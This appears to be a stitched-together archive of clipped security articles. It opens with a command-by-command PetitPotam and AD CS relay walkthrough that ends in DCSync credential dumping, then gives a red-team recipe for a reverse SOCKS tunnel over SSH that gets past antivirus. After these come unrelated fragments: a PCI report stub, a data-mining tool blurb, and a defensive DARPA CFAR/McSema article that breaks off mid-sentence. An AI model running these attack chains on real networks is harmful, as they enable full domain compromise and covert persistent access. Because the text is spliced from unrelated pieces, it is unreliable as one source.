The Petit Potam attack allows an attacker to coerce a privileged account to
authenticate to a controlled machine. The attack does not require a domain
joined system. The attack is based upon a traditional NTLM relay attack
against Domain Controllers and other sensitive systems. Targeting Domain
Controllers will yield a complete domain compromise. An environment is
vulnerable to the Petit Potam attack if they are using Active Directory
Certificate Servers with Certificate Authority Web Enrollment or the
Certificate Enrollment Web Service. The publicly available PoC tool released
by Gilles Lionel, forces a domain controller to authenticate against a
malicious NTLM relay. The attacker then relays this authentication to a
susceptible service, AD CS services. Finally the attacker uses the privileged
access from the NTLM relay attack to gain initial foothold of a privileged
account by issuing themselves a certificate in the name of the coerced
account. This will allow the attacker to gain a silver ticket or impersonate
other privileged accounts such as Domain Administrators.

**Prerequisites:**

· List of Domain Controllers on the Network

· Company CA Server

· ExAdndroidDev’s Impacket

· PetitPotam PoC @topotam77

· PKINITtools \(Linux\) or Rubeus \(Windows\)

**Tools & Setup**

 _Impacket_

[code]

    git clone https://github.com/ExAndroidDev/impacket.git
    cd impacket
    git checkout ntlmrelayx-adcs-attack
[/code]

  * Prepare a python virtual environment for impacket.

[code]

    apt install python3-venv
[/code]

  * Create and activate the new virtual python environment

[code]

    python3 -m venv impacket
    source impacket/bin/activate
[/code]

  * Install & Remove Older Instances of Impacket

[code]

    pip install .
[/code]

_PKINITtools \(Linux Users\)_

On another terminal, clone PKINITtools and prepare a python environment.

[code]

    git clone https://github.com/dirkjanm/PKINITtools && \
    cd PKINITtools && \
    pipenv --python 3 shell
    pip3 install -r requirements
[/code]

 _PetitPotam PoC_

[code]

    git clone https://github.com/topotam/PetitPotam
    cd PetitPotam/
    sudo pip3 install -r requirements.txt
[/code]

****Identify The Domain Controllers****

[code]

    nslookup 
    
    ldap.tcp.dc_msdcs.DOMAIN.local #change to target domain
[/code]

If this presents minimal results, try to obtain the host names for Active
Directory Key Distribution Centers \(KDCs\) with nslookup.

[code]

    nslookup -type=srv kerberos.tcp.REALM #change realm to target domain
[/code]

Alternatively, use Kerbrute to identify KDCs via DNS as well.

<img src='img/Screen-Shot-2021-08-24-at-12.50.02-PM.png' width='795'
height='831' />

All KDCs Displaying Using Kerbrute

****Identify** the **Certificate Authority****

**** _On Linux_****

[code]

    ldapsearch -o ldif-wrap=no -E pr=100/noprompt -z 0 -LLL -H ldap://10.x.x.x.x -b “dc=DOMAIN,dc=TLD” -s sub -D username@domain.tld -w <password> “(&objectClass=computer)(description=certificate))” dn description dn:CN=<HOSTNAME>,OU= Virtual Servers – 2016, OU=Servers,DC=DOMAIN,DC=TLD
[/code]

**** _On Windows_****

 _certutil.exe_

<img src='img/Picture1.png' width='608' height='420' />

Server Specified via Certutil

**** _On nmap_****

Understanding naming schemas will help identify the right system if other
tools are unavailable.

<img src='img/Temp2_6223' width='557' height='537' />

Certificate Authority

****NLTMRelayx with PetitPotam****

Before running the proof-of-concept script for PetitPotam, set up a ntlmrelay
session to relay authentication attempts to the certificate authority.

In this example, Tevora used the DomainController template, however, it is
also possible to use the KerberosAuthentication AD CS template. Use the
ntlmrelayx script found in the Impacket Suite.

[code]

    python3 ntlmrelayx.py -debug -smb2support --target http://domain.local/certsrv/certfnsh.asp --adcs --template DomainController
[/code]

<img src='img/Temp2_6222' width='591' height='462' />

Domain Controller Template Specificed

 _Remember to change the domain.local to the domain is being targeted._

From here, launch the PetitPotam proof of concept.

[code]

    python3 Petitpotam.py <attacking machine’s IP> <target Domain Controller’s IP>
[/code]

<img src='img/Screen-Shot-2021-08-24-at-12.53.00-PM.png' width='678'
height='427' />

After the EfsRpcOpenFileRaw packet is sent, the inbound request to ntlmrelayx
which will have the base64 encoded PFX certificate.

<img src='img/image.png' width='616' height='33' />

_Linux users should save this output into a file._

****_Windows_****

If a Windows computer has already been compromised, this would be an
opportunity for privilege escalation. Alternatively, if the conditions to spin
up a non-domain joined Windows computer on the network is an option, it is
possible to configure the host’s DNS settings to point to the Domain
Controller to request a TGT ticket.

On Windows, it is possible to use Rubeus to request the Kerberos Ticket with
the base64 encoded certificate acquired with and perform a “pass-the-ticket”
attack to perform a relay attack.

[code]

    Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
[/code]

 _The user is the machine account’s name._

Once the ticket is active, a ticket that has DCSyncing privileges will be
generated.

<img src='img/image-1.png' width='679' height='216' />

It is then possible to use Mimikatz to perform a DCSync attack to retrieve the
Domain Administrator’s hash.

****_Linux_****

On Linux, take the base64 file that has the certificate and decode it and
write the output into another file.

[code]

    cat base64 | base64 -d > certificate.pfx
[/code]

Navigate to the python environment that was set up for PKINITtools and locate
the gettgtpkinit.py tool.

Using this tool, generate a TGT \(like Rubeus for Windows\) with the base64
decoded certificate.

[code]

    python3 gettgtpkinit.py domain.local/DC01NAME\$ -cert-pfx certificate.pfx out.ccache
[/code]

<img src='img/Screen-Shot-2021-08-24-at-12.55.50-PM.png' width='825'
height='166' />

Ticket Saved in .ccache File

 _This ccache file can be used for a pass-the-cache attack, which is
essentially the same concept as a pass-the-ticket attack._

To perform a more targeted attack, use the getnthash.py tool included in the
PKINITtools to extract the NT hash of the machine account of the domain
controller.

[code]

    KRB5CCNAME=out.ccache python3 getnthash.py domain.local/DC01\$ -key e19fd...truncated
[/code]

The KRB5CCNAME is the field to specify the cacche file.

<img src='img/Screen-Shot-2021-08-24-at-12.57.21-PM.png' width='967'
height='193' />

Recovered NT Hash for Machine Account

Using the recovered NT Hash, we can impersonate domain administrators and
perform other attacks. With crackmapexec’s –admin-count command, list user and
groups with administrative permissions in the domain.

[code]

    crackmapexec ldap DC01.domain.local -u DC01\$ -H 6e02...truncated --admin-count
[/code]

With a list of users, use the gets4uticket.py included in the suite, which
will forge a silver ticket.

[code]

     KRB5CCNAME=out.ccache python3 gets4uticket.py kerberos+ccache://domain.local\\DC01\$:out.cache@DC01.domain.local cifs/DC01.domain.local@domain.local Administrator@domain.local Administrator.ccache -v
[/code]

 _Use this command to generate as many users' silver tickets as necessary. In
a larger environment there might only be a few users with Administrator
privileges to the Domain Controller.  
_

After successfully generating a silver ticket for the user that was targeted,
it is possible to perform a DCSync with the secretsdump script in the Impacket
Suite.

To use the Silver Ticket, export the ticket path into the environment variable
KRB5CCNAME.

[code]

    Export KRB5CCNAME=’/path/to/Administrator.ccache’
    secretsdump.py domain.local/Administrator@DC.domain.local -k -no-pass
[/code]

 _All the tools from impacket can be used with this ticket via the -k option._

That's a wrap.

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' viewBox='0 0 28 28' data-evernote-id='192' class='js-evernote-checked'%3e %3cpath d='M20.11 26.147c-2.335 1.05-4.36 1.4-7.124 1.4C6.524 27.548.84 22.916.84 15.284.84 7.343 6.602.45 15.4.45c6.854 0 11.8 4.7 11.8 11.252 0 5.684-3.193 9.265-7.398 9.3-1.83 0-3.153-.934-3.347-2.997h-.077c-1.208 1.986-2.96 2.997-5.023 2.997-2.532 0-4.36-1.868-4.36-5.062 0-4.75 3.503-9.07 9.11-9.07 1.713 0 3.7.4 4.6.972l-1.17 7.203c-.387 2.298-.115 3.3 1 3.4 1.674 0 3.774-2.102 3.774-6.58 0-5.06-3.27-8.994-9.304-8.994C9.05 2.87 3.83 7.545 3.83 14.97c0 6.5 4.2 10.2 10 10.202 1.987 0 4.09-.43 5.647-1.245l.634 2.22zM16.647 10.1c-.31-.078-.7-.155-1.207-.155-2.572 0-4.596 2.53-4.596 5.53 0 1.5.7 2.4 1.9 2.4 1.44 0 2.96-1.83 3.31-4.088l.592-3.72z' data-evernote-id='241' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> email
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' viewBox='0 0 28 28' data-evernote-id='193' class='js-evernote-checked'%3e %3cpath d='M24.253 8.756C24.69 17.08 18.297 24.182 9.97 24.62c-3.122.162-6.22-.646-8.86-2.32 2.702.18 5.375-.648 7.507-2.32-2.072-.248-3.818-1.662-4.49-3.64.802.13 1.62.077 2.4-.154-2.482-.466-4.312-2.586-4.412-5.11.688.276 1.426.408 2.168.387-2.135-1.65-2.73-4.62-1.394-6.965C5.574 7.816 9.54 9.84 13.802 10.07c-.842-2.738.694-5.64 3.434-6.48 2.018-.624 4.212.043 5.546 1.682 1.186-.213 2.318-.662 3.33-1.317-.386 1.256-1.248 2.312-2.4 2.942 1.048-.106 2.07-.394 3.02-.85-.458 1.182-1.343 2.15-2.48 2.71z' data-evernote-id='242' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> twitter
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 29 29' data-evernote-id='194' class='js-evernote-checked'%3e %3cpath d='M26.4 0H2.6C1.714 0 0 1.715 0 2.6v23.8c0 .884 1.715 2.6 2.6 2.6h12.393V17.988h-3.996v-3.98h3.997v-3.062c0-3.746 2.835-5.97 6.177-5.97 1.6 0 2.444.173 2.845.226v3.792H21.18c-1.817 0-2.156.9-2.156 2.168v2.847h5.045l-.66 3.978h-4.386V29H26.4c.884 0 2.6-1.716 2.6-2.6V2.6c0-.885-1.716-2.6-2.6-2.6z' data-evernote-id='243' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> facebook
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 28 28' data-evernote-id='195' class='js-evernote-checked'%3e %3cpath d='M25.424 15.887v8.447h-4.896v-7.882c0-1.98-.71-3.33-2.48-3.33-1.354 0-2.158.91-2.514 1.802-.13.315-.162.753-.162 1.194v8.216h-4.9s.067-13.35 0-14.73h4.9v2.087c-.01.017-.023.033-.033.05h.032v-.05c.65-1.002 1.812-2.435 4.414-2.435 3.222 0 5.638 2.106 5.638 6.632zM5.348 2.5c-1.676 0-2.772 1.093-2.772 2.54 0 1.42 1.066 2.538 2.717 2.546h.032c1.71 0 2.77-1.132 2.77-2.546C8.056 3.593 7.02 2.5 5.344 2.5h.005zm-2.48 21.834h4.896V9.604H2.867v14.73z' data-evernote-id='244' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> linkedin
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' viewBox='0 0 28 28' data-evernote-id='196' class='js-evernote-checked'%3e %3cpath d='M11.794 15.316c0-1.03-.835-1.895-1.866-1.895-1.03 0-1.893.866-1.893 1.896s.863 1.9 1.9 1.9c1.023-.016 1.865-.916 1.865-1.9zM18.1 13.422c-1.03 0-1.895.864-1.895 1.895 0 1 .9 1.9 1.9 1.865 1.03 0 1.87-.836 1.87-1.865-.006-1.017-.875-1.917-1.875-1.895zM17.527 19.79c-.678.68-1.826 1.007-3.514 1.007h-.03c-1.686 0-2.834-.328-3.51-1.005-.264-.265-.693-.265-.958 0-.264.265-.264.7 0 1 .943.9 2.4 1.4 4.5 1.402.005 0 0 0 0 0 .005 0 0 0 0 0 2.066 0 3.527-.46 4.47-1.402.265-.264.265-.693.002-.958-.267-.334-.688-.334-.988-.043z' data-evernote-id='245' class='js-evernote-checked'%3e%3c/path%3e %3cpath d='M27.707 13.267c0-1.785-1.453-3.237-3.236-3.237-.792 0-1.517.287-2.08.76-2.04-1.294-4.647-2.068-7.44-2.218l1.484-4.69 4.062.955c.07 1.4 1.3 2.6 2.7 2.555 1.488 0 2.695-1.208 2.695-2.695C25.88 3.2 24.7 2 23.2 2c-1.06 0-1.98.616-2.42 1.508l-4.633-1.09c-.344-.082-.693.117-.803.454l-1.793 5.7C10.55 8.6 7.7 9.4 5.6 10.75c-.594-.45-1.3-.75-2.1-.72-1.785 0-3.237 1.45-3.237 3.2 0 1.1.6 2.1 1.4 2.69-.04.27-.06.55-.06.83 0 2.3 1.3 4.4 3.7 5.9 2.298 1.5 5.3 2.3 8.6 2.325 3.227 0 6.27-.825 8.57-2.325 2.387-1.56 3.7-3.66 3.7-5.917 0-.26-.016-.514-.05-.768.965-.465 1.577-1.565 1.577-2.698zm-4.52-9.912c.74 0 1.3.6 1.3 1.3 0 .738-.6 1.34-1.34 1.34s-1.343-.602-1.343-1.34c.04-.655.596-1.255 1.396-1.3zM1.646 13.3c0-1.038.845-1.882 1.883-1.882.31 0 .6.1.9.21-1.05.867-1.813 1.86-2.26 2.9-.338-.328-.57-.728-.57-1.26zm20.126 8.27c-2.082 1.357-4.863 2.105-7.83 2.105-2.968 0-5.748-.748-7.83-2.105-1.99-1.3-3.087-3-3.087-4.782 0-1.784 1.097-3.484 3.088-4.784 2.08-1.358 4.86-2.106 7.828-2.106 2.967 0 5.7.7 7.8 2.106 1.99 1.3 3.1 3 3.1 4.784C24.86 18.6 23.8 20.3 21.8 21.57zm4.014-6.97c-.432-1.084-1.19-2.095-2.244-2.977.273-.156.59-.245.928-.245 1.036 0 1.9.8 1.9 1.9-.016.522-.27 1.022-.57 1.327z' data-evernote-id='246' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> reddit
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' viewBox='0 0 28 28' data-evernote-id='197' class='js-evernote-checked'%3e %3cpath fill='%23FFF' d='M14 13.626l-4.508-9.19H6.588l6.165 12.208v6.92h2.51v-6.92l6.15-12.21H18.69' data-evernote-id='247' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> hackernews
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24' data-evernote-id='198' class='js-evernote-checked'%3e %3cpath d='M21 8.29h-1.95v2.6h-2.6v1.82h2.6v2.6H21v-2.6h2.6v-1.885H21V8.29zM7.614 10.306v2.925h3.9c-.26 1.69-1.755 2.925-3.9 2.925-2.34 0-4.29-2.016-4.29-4.354s1.885-4.353 4.29-4.353c1.104 0 2.014.326 2.794 1.105l2.08-2.08c-1.3-1.17-2.924-1.883-4.874-1.883C3.65 4.586.4 7.835.4 11.8s3.25 7.212 7.214 7.212c4.224 0 6.953-2.988 6.953-7.082 0-.52-.065-1.104-.13-1.624H7.614z' data-evernote-id='248' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> google+
  * <img src='data:image/svg+xml,%3csvg width='32' height='28' viewBox='0 0 32 28' xmlns='http://www.w3.org/2000/svg' data-evernote-id='199' class='js-evernote-checked'%3e %3cpath d='M28.782.002c2.03.002 3.193 1.12 3.182 3.106-.022 3.57.17 7.16-.158 10.7-1.09 11.773-14.588 18.092-24.6 11.573C2.72 22.458.197 18.313.057 12.937c-.09-3.36-.05-6.72-.026-10.08C.04 1.113 1.212.016 3.02.008 7.347-.006 11.678.004 16.006.002c4.258 0 8.518-.004 12.776 0zM8.65 7.856c-1.262.135-1.99.57-2.357 1.476-.392.965-.115 1.81.606 2.496 2.453 2.334 4.91 4.664 7.398 6.966 1.086 1.003 2.237.99 3.314-.013 2.407-2.23 4.795-4.482 7.17-6.747 1.203-1.148 1.32-2.468.365-3.426-1.01-1.014-2.302-.933-3.558.245-1.596 1.497-3.222 2.965-4.75 4.526-.706.715-1.12.627-1.783-.034-1.597-1.596-3.25-3.138-4.93-4.644-.47-.42-1.123-.647-1.478-.844z' data-evernote-id='249' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> pocket

#### Manfred Chang

Read more posts by this author.

# Verizon Business Assessment for: Cisco PCI Solution for Retail: Cisco
Systems, Inc.

**Created:**| _11/25/2009 10:30:53 AM_  
---|---  
**Updated:**| _11/25/2009 10:31:14 AM_  
**Author:**| __  
**Tags:**| _report LOLZ_  
  
<img src='img/Temp2_8865' />

# Reverse port forwarding SOCKS proxy via HTTP proxy \(part 1\) - Portcullis
Labs

**Created:**| _3/2/2019 6:33:40 PM_  
---|---  
**Updated:**| _3/2/2019 6:33:40 PM_  
**Author:**| _wishi_  
**Tags:**| _network-security socks Exfiltration_  
  

  

# Reverse port forwarding SOCKS proxy via HTTP proxy \(part 1\)

<img src='"images/postdateicon.png"' />Published 25/01/2019 | By MRL
In the context of a Red Team assessment, in this post I’ll look at some
options for using SOCKS to gain external access to an internal network. I’ll
cover the obvious methods and why I’m overlooking them, a crude method using
standard tools \(this post\) and a more refined approach using modified tools
\(in part 2\).

I recently spent quite a long time preparing for the CREST Certified Simulated
Attack Specialist exam. While I won’t be discussing exam content \(which I’m
under NDA for\), I thought it could be beneficial to write up at least some of
the interesting stuff that I prepared prior to sitting the exam.

I spent a lot of time testing my tools and techniques against 5 different
Anti-Virus \(AV\) products. I wanted to be sure that I had enough options
available to me during the exam to operate efficiently, even if AV was
present. One scenario that I wanted to be prepared for was:

  * <img src='"images/postbullets.png"' />Having a foothold \(command execution\) on a _Windows_ system in an internal network; but
  * <img src='"images/postbullets.png"' />being unable to deploy my normal C2 software \(Cobalt Strike / Meterpreter\) due to Anti-Virus / Endpoint Protection.

My practice had shown that I was able to deploy my C2 software of choice onto
only 4 out 5 test systems. So this seemed like something I needed to prepare
for. Just in case.

In parallel with this, I’d found that performance of SOCKS over a reverse
HTTPS connection was barely adequate for tunneling an RDP connection. So I was
interested in finding a solution that was:

  * <img src='"images/postbullets.png"' />Faster
  * <img src='"images/postbullets.png"' />Worked through a proxy; and
  * <img src='"images/postbullets.png"' />Worked in the presence of my nemesis AV product

My instinct was to try to SSH out of the network and use the SOCKS proxy built
into SSH. There were a few problems with this approach:

  1. I needed an SSH client – which I could solve by using Putty \(read on for the reason I didn’t use plink\)
  2. I needed to get an SSH connection out of the network – which could probably do via the proxy using HTTP CONNECT in the same way used for legitimate TLS connections
  3. SSH allows SSH clients to send traffic through a SOCKS proxy running on the SSH server. This was the opposite to what I needed. I needed the SSH server \(on the “internet”\) to be able to access a SOCKS Proxy running on the SSH Client. Which is a Windows box in this scenario. If the compromised host had been a \*NIX host, I could potentially have SSH’d to localhost with the -D option to get the SOCKS server running, then made a second connection to the Internet to port-forward access to the SOCKS service

<img src='img/Temp2_6947.png' width='300' height='191' alt='Communication Flow
between Devices' />

<img src='img/Temp2_6948.png' width='0' height='0' alt='image-6814' />

Communication flow between devices

## Solving \(3\): SOCKS server

To solve \(3\) I looked for a small command line SOCKS proxy that ran on
Windows. I did find some, but they all felt a bit dodgy and some said on their
website that they definitely weren’t malware, despite what AV products said.
Which is probably true, but it made them a poor option if I wanted to operate
in the presence of AV.

Eventually I stumbled on a SOCKS5 implementation written in golang written by
Armon Dagar. I’d heard that golang malware would be on the rise in 2019, so
this was a good opportunity for me to waste valuable revision time on a side-
interest. I’d never even compiled a golan program before. If this wasn’t too
hard, it would be a nice cross-platform solution for my needs.

?

`$ ``mkdir` `-p ~``/go/src``$ ``cd` `!$``$ git clone
https:``//github``.com``/armon/go-socks5``$ ``mv` `go-socks5 socks5``$ ``cd`
`socks5``$ go build`  
---  
No errors <img src='img/9038_icon_smile.gif' width='15' height='15' alt=':-)'
/>

But no server either. This is just a library\! You need to write some code to
use it. <img src='img/icon_sad.gif' width='15' height='15' alt=':-(' />

Fortunately, the author provides an example that’s easily adapted:

?

`mkdir` `-p ~``/go/src/mysocks5``cd` `!$``$ ``cat` `<< EOF > mysocks.go``//`
`Create a SOCKS5 server``package main``import` `"socks5"` `func main() {``
``conf := &socks5.Config{}`` ``server, err := socks5.New(conf)`` ``if` `err !=
nil {`` ``panic(err)`` ``}` ` ``//` `Create SOCKS5 proxy on localhost port
1080`` ``if` `err := server.ListenAndServe(``"tcp"``, ``"127.0.0.1:1080"``);
err != nil {`` ``panic(err)`` ``}``}``EOF``go build`  
---  
Done\! I now had a “mysocks5″ executable. And it worked. Repeating similar
steps on Windows gave me a working mysocks5.exe. I was starting to like golang
at this point.

## Solving \(1\): Putty configuration

After getting almost to the finish line with the following plink command, I
couldn’t specify an HTTP proxy from the command line:

?

`plink -N -P 443 -i puttykey.priv.ppk -R 2080:127.0.0.1:1080 -hostkey
db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a tunnnel@192.168.0.1`  
---  
A quick overview of options here:

  * <img src='"images/postbullets.png"' />-N: – I don’t need a shell, just an SSH connection for port forwarding
  * <img src='"images/postbullets.png"' />-P 443 – Target port 443, not 22 since the proxy is likely to restrict us in this way
  * <img src='"images/postbullets.png"' />-i puttykey.priv.ppk – The private key to access my listening SSH server, I needed logon to be non-interactive, obviously
  * <img src='"images/postbullets.png"' />-R 2080:127.0.0.1:1080 – Open a listening port \(2080\) on the SSH server and forward connections to that port to 127.0.0.1:1080 on the SSH client
  * <img src='"images/postbullets.png"' />-hostkey db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a – We don’t want any warnings or questions about unverified host keys
  * <img src='"images/postbullets.png"' />tunnnel@192.168.0.1 – Log into 192.168.0.1 as user tunnel

Using the normal putty.exe GUI, I saved a session that specified all of the
above detail, plus the required proxy settings \(unauthenticated in the case
of my lab\):

<img src='img/Temp2_6949.png' width='300' height='282' alt='Proxy Settings for
SSH Connection in Putty' />

<img src='img/Temp2_6948.png' width='0' height='0' alt='image-6815' />

Proxy settings for SSH connection in Putty

I saved a putty session called myproxy, then retried plink:

?

`plink -load myproxy`  
---  
It crashed. Hence, why I’m not using plink. Putty works fine, though:

?

`putty -load myproxy`  
---  
Well, sort of fine. The victim user would have a suspicious-looking putty
window pop up alongside the mysocks console window. But this is just a PoC.
Let’s ignore these missing optimisations\!

<img src='img/Temp2_6950.png' width='300' height='110' alt='How the attack
looks from user' class=' />

<img src='img/Temp2_6948.png' width='0' height='0' alt='image-6816' />

How the attack looks from user’s perspective

On the server-side, we see a network listener on port 2080.

?

`tcp 0 0 0.0.0.0:2080 0.0.0.0:* LISTEN`  
---  
I wanted the service bound to 0.0.0.0 for my environment, but consider that
anyone with network access could abuse your SOCKS proxy.

This provides a relatively high-performance SOCKS server – much better than
those laggy SOCKS-over-reverse-HTTPS connections. Implants typically poll
periodically over HTTPS, which means that traffic can only be sent when the
implant calls home. The above method is more akin to SOCKS-over-reverse-TCP.
Data can be sent in either direction immediately without waiting for a check-
in. Arguably, the above method will create a more suspicious traffic pattern
and some application-layer aware proxies won’t allow it \(though tunneling
over SSL could help\).

## Packaging it up

To deliver above attack, we need to package up the software and configuration
so it can be run from the command line. We’ll assume that we can upload and
unpack zip files for this part \(or the post will get too long\). I included
the following in myproxy.zip:

  * <img src='"images/postbullets.png"' />putty.exe
  * <img src='"images/postbullets.png"' />mysocks5.exe
  * <img src='"images/postbullets.png"' />myproxy.reg – Created by doing “reg export HKCU\Software\SimonTatham myproxy.reg”, then removing unnecessary configuration data in a text editor
  * <img src='"images/postbullets.png"' />puttykey.priv.ppk – Created using puttygen, be sure to copy the openssh-format public key into ~tunnel/.ssh/authorized\_key on the SSH server too
  * <img src='"images/postbullets.png"' />mysocks.bat – See below

To deploy, we need to run mysocks.bat, which does the following:

?

`reg ``import` `myproxy.reg``start mysocks5``putty -load myproxy`  
---  
All finished. We can pivot through our fast SOCKS proxy. For example, to
access RDP on the internal network, I’d do something like:

?

`$ ``cat` `/etc/proxychains``.conf``...``socks5 127.0.0.1 2080``$ proxychains
remmina`  
---  
Where remmina is a pretty awesome RDP client for Linux. You can also use
proxifier on Windows if you’d rather use mstsc.exe.

## Conclusion

We showed a PoC to get a reverse SOCKS connection out of a network using tools
that won’t trigger AV. They don’t require privileges run, so would work
against an unprivileged windows user. The connection is faster than if we’d
used the SOCKS features of C2 solutions that use polling reverse-HTTPS
connections.

Our attack is untidy because the user can see everything that happens\! It’s
also awkward to set up because of the registry export and required packaging.

## Further Reading

  * <img src='"images/postbullets.png"' />Chisel is a tool that can create a SOCKS-over-SSH-over-CONNECT-HTTP tunnel in the opposite direction the direction I needed
  * <img src='"images/postbullets.png"' />Crowbar is a tool that lets you do port forwarding over HTTP channels \(no reliance on the proxy CONNECT method\)

  

### Request to be added to the Portcullis Labs newsletter

We will email you whenever a new tool, or post is added to the site.

Your Name \(required\)  

Your Email \(required\)  

  

Ich bin kein Roboter.

reCAPTCHA

Datenschutzerklärung \- Nutzungsbedingungen

<img src='img/ajax-loader.gif' width='16' height='16' alt='Sending ...' />

  

  

# Orange – Data Mining Fruitful & Fun

**Created:**| _8/7/2014 9:57:19 PM_  
---|---  
**Updated:**| _8/7/2014 9:57:19 PM_  
**Author:**| __  
**Tags:**| _security tools visualization searching data-mining_  
  

# Orange – Data Mining Fruitful & Fun

Open source data visualization and analysis for novice and experts. Data
mining through visual programming or Python scripting. Components for machine
learning. Add-ons for bioinformatics and text mining. Packed with features for
data analytics.

# Protecting Software Against Exploitation with DARPA’s CFAR

**Created:**| _9/23/2018 8:42:54 AM_  
---|---  
**Updated:**| _9/23/2018 8:42:54 AM_  
**Author:**| _wishi_  
**Tags:**| _new? binary translation mitigations_  
  

  

# Protecting Software Against Exploitation with DARPA’s CFAR

  * Post
  * September 10, 2018
  * Leave a comment

Today, we’re going to talk about a hard problem that we are working on as part
of DARPA’s Cyber Fault-Tolerant Attack Recovery \(CFAR\) program:
automatically protecting software from 0-day exploits, memory corruption, and
many currently undiscovered bugs. You might be thinking: “Why bother? Can’t I
just compile my code with exploit mitigations like stack guard, CFG, or CFI?”
These mitigations are wonderful, but require source code and modifications to
the build process. In many situations it is impossible or impractical to
change the build process or alter program source code. That’s why our solution
for CFAR protects binary installations for which source isn’t available or
editable.

CFAR is very intuitive and deceptively simple. The system runs multiple
versions, or ‘variants,’ of the software in parallel, and uses comparisons
between these variants to identify when one or more have diverged from the
others in behavior. The idea is akin to an intrusion detection system that
compares program behavior against variants of itself running on identical
input, instead of against a model of past behavior. When the system detects
behavioral divergence, it can infer that something unusual, and possibly
malicious, has happened.

Like all DARPA programs, CFAR is a large and difficult research problem. We
are only working on a small piece of it. We have coordinated this blog post
with our teammates – Galois, Immunant, and UCI – each of whom has more details
about their respective contributions to the CFAR project.

We are excited to talk about CFAR not just because it’s a hard and relevant
problem, but because one of our tools, McSema, is a part of our team’s
versatile LLVM-based solution. As a part of this post, we get to show examples
of lesser-known McSema features, and explain why they were developed. Perhaps
most exciting of all, we’re going to show how to use McSema and the UCI
multicompiler to harden off-the-shelf binaries against exploitation.

# Our CFAR Team

The overall goal of CFAR is to detect and recover from faults in existing
software without impacting core functionality. Our team’s responsibility was
to produce an optimal set of variants to mitigate and detect fault-inducing
inputs. The other teams were responsible for the specialized execution
environment, for red-teaming, and so on. Galois’s blog post on CFAR describes
the program in greater detail.

The variants must behave identically to each other and to the original
application, and present compelling proof that behavior will remain identical
for all valid inputs. Our teammates have developed transformations and
provided equivalence guarantees for programs with available source code. The
team has devised a multicompiler-based solution for variant generation using
the Clang/LLVM toolchain.

# McSema’s Role

We have been working on generating program variants of binary-only software,
because source code may be unavailable for proprietary or older applications.
Our team’s source code based toolchain works at the LLVM intermediate
representation \(IR\) level. Transforming and hardening programs at the IR
level allows us to manipulate program structure without altering the program’s
source code. Using McSema, we could translate binary-only programs to LLVM IR,
and re-use the same components for both source-level and binary-only variant
generation.

Accurately translating programs for CFAR required us to bridge the gap between
machine-level semantics and program-level semantics. Machine-level semantics
are the changes to processor and memory state caused by individual
instructions. Program-level semantics \(e.g., functions, variables,
exceptions, and try/catch blocks\) are more abstract concepts that represent
program behavior. McSema was designed to be a translator for machine level
semantics \(the name “McSema” derives from “**m** achine **c** ode **sema**
ntics”\). However, to accurately transform the variants required for CFAR,
McSema would have to recover program semantics as well.

We are actively working to recover more and more program semantics, and many
common use-cases are already supported. In the following section we’ll discuss
how we handle two particularly important semantics: stack variables and global
variables.

# Stack Variables

The compiler can place the data backing function variables in one of several
locations. The most common location for program variables is the stack, a
region of memory specifically made for storing temporary information and
easily accessible to the calling function. Variables that the compiler stores
on the stack are called… stack variables\!

[code]

    int sum_of_squares(int a, int b) {
      int a2 = a * a;
      int b2 = b * b;
      return a2+b2;
    }
[/code]

| <img src='img/8475_image4.png' width='304' height='174' alt='Binary view of
the sum_of_squares function' />  
---|---  
**Figure 1:** Stack variables for a simple function shown both at the source
code level, and at the binary level. At the binary level, there is no concept
of individual variables, just bytes in a large block of memory.  
When attackers turn bugs into exploits, they often rely on stack variables
being in a specific order. The multicompiler can mitigate this class of
exploits by generating program variants, where no two variants have stack
variables in the same order. We wanted to enable this stack variable shuffling
for binaries, but there was a problem: there is no concept of stack variables
at the machine code level \(Figure 1\). Instead, the stack is just a large
contiguous block of memory. McSema faithfully models this behavior and treats
the program stack as an indivisible blob. This, of course, makes it impossible
to shuffle stack variables.

# Stack Variable Recovery

The process of converting a block of memory that represents the stack into
individual variables is called stack variable recovery. McSema implements
stack variable recovery as a three-step process.

First, McSema identifies stack variable bounds during disassembly, via the
disassembler’s \(e.g., IDA Pro’s\) heuristics and, where present, DWARF-based
debugging information. There is prior research on identifying stack variable
bounds without such hints, which we plan to utilize in the future. Second,
McSema attempts to identify which instructions in the program reference which
stack variable. Every reference must be accurately identified, or the
resulting program will not function. Finally, McSema creates an LLVM-level
variable for each recovered stack variable and rewrites instructions to
reference these LLVM-level variables instead of the prior monolithic stack
block.

Stack variable recovery works for many functions, but it isn’t perfect. McSema
will default to the classic behavior of treating the stack as a monolithic
block when it encounters functions with the following characteristics:

  * **Varargs functions.** Functions that use a variable number of arguments \(like the common printf family of functions\) have a variable sized stack frame. This variance makes it difficult to determine which instruction references which stack variable.
  * **Indirect stack references.** Compilers also rely on a predetermined layout of stack variables, and will generate code that accesses a variable via the address of an unrelated variable.
  * **No stack-frame pointer.** As an optimization, the stack-frame pointer can serve as a general purpose register. This optimization makes it difficult for us to detect possible indirect stack references.

Stack variable recovery is a part of the CFG recovery process, and is
currently implemented in the IDAPython CFG recovery code \(in
collect\_variable.py\). It can be invoked via the `--recover-stack-vars`
argument to `mcsema-disass`. For an example, see the code accompanying this
